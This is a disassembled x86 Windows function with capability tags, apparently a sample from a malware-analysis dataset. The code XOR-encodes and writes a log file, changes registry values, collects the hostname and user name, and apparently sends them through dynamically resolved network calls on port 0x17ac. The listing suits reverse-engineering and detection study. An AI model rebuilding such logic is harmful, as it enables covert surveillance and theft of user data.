Function at 0x54c2b0
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x5de364
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x20]
call fcn.00550160
push eax
push esi
call fcn.0054b360
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x5de32c
xor bl, bl
call fcn.00550160
add esp, 4
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x54c44c
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, 2
jne 0x54c3be
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x5de318
mov dword [esp + 0x28], 0x40
call fcn.00550160
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x84]
push 0x5de314
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x54c393
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x54c393
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x5de304
mov dword [esp + 0x28], 4
call fcn.00550160
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x44]
push 0x5de314
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x5de2f0
mov dword [esp + 0x28], eax
call fcn.00550160
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x54c419
inc dword [esp + 0x10]
jmp 0x54c421
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x5de304
call fcn.00550160
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x54c894
cmp eax, 5
ja 0x54c894
test bl, bl
je 0x54c473
cmp dword [0x881c6c], 9
jge 0x54c894
push 0x5de2e0
call fcn.00550160
push eax
push esi
call fcn.0054b360
mov eax, dword [esi]
add esp, 0xc
cmp eax, 0xffffffff
je 0x54c5c3
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x54c4b8
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x5dd66c
ja 0x54c4bd
mov eax, 0x881cdc
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x5dd614
lea ebp, [esi + 0x1c]
call fcn.005500f0
add esp, 4
push eax
push ebp
call fcn.00550730
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x54c55f
test ecx, ecx
jle 0x54c58d
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x54c53d
jmp 0x54c58d
test ecx, ecx
jle 0x54c58d
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x76
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x54c56c
cmp dword [esi + 0x1034], 0x3e7
je 0x54c5ab
lea eax, [esp + 0x20]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x881a58
call fcn.0054e8c0
test eax, eax
jne 0x54c5f1
push 0x5de2d0
call fcn.00550160
add esp, 4
mov ecx, 0x881a58
push eax
call fcn.0054e6b0
test eax, eax
je 0x54c894
push 0x5de2bc
call fcn.00550160
add esp, 4
mov ecx, 0x881a58
push eax
call fcn.0054e8c0
push eax
call fcn.0054d600
push 0x5de2a4
mov esi, eax
call fcn.00550160
add esp, 4
mov ecx, 0x881a58
push eax
call fcn.0054e8c0
push eax
call fcn.0054d600
push 0x5de28c
mov edi, eax
call fcn.00550160
add esp, 4
mov ecx, 0x881a58
push eax
call fcn.0054e8c0
push eax
call fcn.0054d600
push 0x5de27c
mov ebp, eax
call fcn.00550160
add esp, 4
mov ecx, 0x881a58
push eax
call fcn.0054e8c0
push eax
call fcn.0054d600
test esi, esi
mov dword [esp + 0x20], eax
je 0x54c894
test edi, edi
je 0x54c894
test ebp, ebp
je 0x54c894
test eax, eax
je 0x54c894
push 0
push 0
push 0
push 0
push 0x5de270
call fcn.005500f0
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x54c894
push 0
push 0x8000000
push 1
push 0x5de23c
call fcn.00550160
add esp, 4
push eax
push 0x5de230
call fcn.005500f0
add esp, 4
push eax
push 0x17ac
push 0x5de21c
call fcn.005500f0
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x54c704
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x140]
mov edi, 0x80
push ecx
push edx
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc0]
push eax
push ecx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [0x881c6c]
cmp eax, 1
jne 0x54c763
push 0x5de210
jmp 0x54c7c8
cmp eax, 2
jne 0x54c76f
push 0x5de204
jmp 0x54c7c8
cmp eax, 3
jne 0x54c77b
push 0x5de1fc
jmp 0x54c7c8
cmp eax, 4
jne 0x54c787
push 0x5de1f0
jmp 0x54c7c8
cmp eax, 5
jne 0x54c793
push 0x5de1e4
jmp 0x54c7c8
cmp eax, 6
jne 0x54c79f
push 0x5de1d4
jmp 0x54c7c8
cmp eax, 7
jne 0x54c7ab
push 0x5de1c8
jmp 0x54c7c8
cmp eax, 8
jne 0x54c7b7
push 0x5de1bc
jmp 0x54c7c8
cmp eax, 9
jne 0x54c7c3
push 0x5de1b0
jmp 0x54c7c8
push 0x5de1a8
call fcn.005500f0
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x1228]
add ecx, 0x1200
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x881ca4]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x2f
push ecx
push 0x5de14c
call fcn.00550160
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.00552930
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x88194c
push esi
call dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret